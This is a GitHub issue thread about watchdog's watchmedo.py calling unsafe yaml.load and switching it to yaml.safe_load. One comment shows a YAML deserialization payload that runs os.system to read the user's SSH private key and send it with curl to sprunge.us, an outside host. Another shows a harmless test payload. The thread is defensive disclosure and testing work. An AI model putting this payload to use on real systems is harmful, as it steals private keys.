Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use of yaml.load in watchmedo.py #453

Closed
tonybaloney opened this issue Jul 3, 2018 · 5 comments
Closed

Use of yaml.load in watchmedo.py #453

tonybaloney opened this issue Jul 3, 2018 · 5 comments
Labels

Comments

@tonybaloney
Copy link

I noticed that watchmedo uses the yaml.load method, PyYAML can execute arbitrary commands via the shebang syntax and is recommended by many projects to be swapped for yaml.safe_load e.g. OpenStack. https://security.openstack.org/guidelines/dg_avoid-dangerous-input-parsing-libraries.html

https://github.com/gorakhargosh/watchdog/blob/master/src/watchdog/watchmedo.py#L88

Happy to raise a PR against this change if necessary.

@danilobellini
Copy link
Collaborator

Go ahead! Please add a test that would break with the current code.

@tonybaloney
Copy link
Author

Something like this (don't run this!)

yaml.load("""
!!python/object/apply:os.system ["cat ~/.ssh/id_rsa | curl -F 'sprunge=<-' http://sprunge.us "]
""")

@BoboTiG
Copy link
Collaborator

BoboTiG commented Nov 29, 2018

You could add that simple test:

# Find a way to load this YAML:
yaml.load("""!!python/object/apply:os.system ["touch critical.txt "]""")

# And ensure the file is not created:
assert not os.path.isfile("critical.txt")

Perhaps it is not needed to run on every OS, just Linux is fine.

@julianolf
Copy link
Contributor

Hey @tonybaloney, I hope you don't mind but I've sent a PR for this issue. GitHub started to raise a security alert because of the use of this function and it seemed to be quite simple to solve it so I did. If I forgot something just let me know.

@BoboTiG
Copy link
Collaborator

BoboTiG commented Jan 8, 2019

Fixed with #506.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

4 participants